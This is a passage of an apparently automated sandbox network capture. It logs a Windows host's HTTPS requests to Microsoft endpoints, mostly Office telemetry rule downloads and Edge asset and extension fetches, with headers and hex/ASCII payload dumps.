22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:52 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:53 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:53 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 848b8d5b-d01e-00a1-7163-3b35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210453Z-178bfbc474bv587zhC1NYCny5w00000001u000000000vkzr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:53 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:53 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:53 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:53 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210453Z-1777c6cb7544nvmshC1TEBf7qc0000000bb0000000010ep1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:53 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:53 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:53 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:53 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: fa8f60f6-901e-0083-3159-3cbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210453Z-15b8b599d88phfhnhC1TEBr51n00000000h000000000emr6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 21:04:53 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:54 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:55 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:54 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: abaf503b-901e-0064-2b47-3ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210454Z-15b8b599d88f9wfchC1TEBm2kc00000000mg00000000cnqx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:55 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.7	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:55 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:55 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:55 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210455Z-178bfbc474bwlrhlhC1NYCy3kg000000023g000000000zk7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:55 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.7	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:55 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:55 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:55 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210455Z-1777c6cb754j47wfhC1TEB5wrw00000007bg00000000yzm4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:55 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.7	49881	13.107.246.40	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:55 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:04:56 UTC	556	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:56 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 21 Nov 2024 04:18:43 GMT ETag: 0x8DD09E3961B864F x-ms-request-id: 2b8f22b9-401e-0042-7b59-3c4313000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T210455Z-174c587ffdfl22mzhC1TEBk40c00000000kg00000000mczp Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 21:04:56 UTC	15828	IN	Data Raw: 1f 8b 08 08 a3 b4 3e 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: >gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-21 21:04:56 UTC	16384	IN	Data Raw: 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 b1 dc 86 43 a9 41 db Data Ascii: e\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7CA
2024-11-21 21:04:56 UTC	16384	IN	Data Raw: 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd f5 40 34 cd c4 ce 27 Data Ascii: kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q@4'
2024-11-21 21:04:56 UTC	16384	IN	Data Raw: 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 84 fb 4f 5b 04 9b a8 Data Ascii: _CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}eO[
2024-11-21 21:04:56 UTC	5227	IN	Data Raw: 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 e6 0e 92 0c 4e 75 b7 Data Ascii: a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(Nu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.7	49883	152.195.19.97	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:55 UTC	622	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732827889&P2=404&P3=2&P4=QwHNoEvLJ7SR%2fbT%2faMBh5bbQMrXdg8YXmk8urtb7KOvlg%2fV0lrKHSnn%2bCrP0KtC07Od2P%2bw01A0ojX8ri6j4bw%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: xQiRx4S5QkWQr5pc0p/7b9 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:04:55 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 12149626 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Thu, 21 Nov 2024 21:04:55 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-21 21:04:56 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.7	49880	13.107.246.40	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:55 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
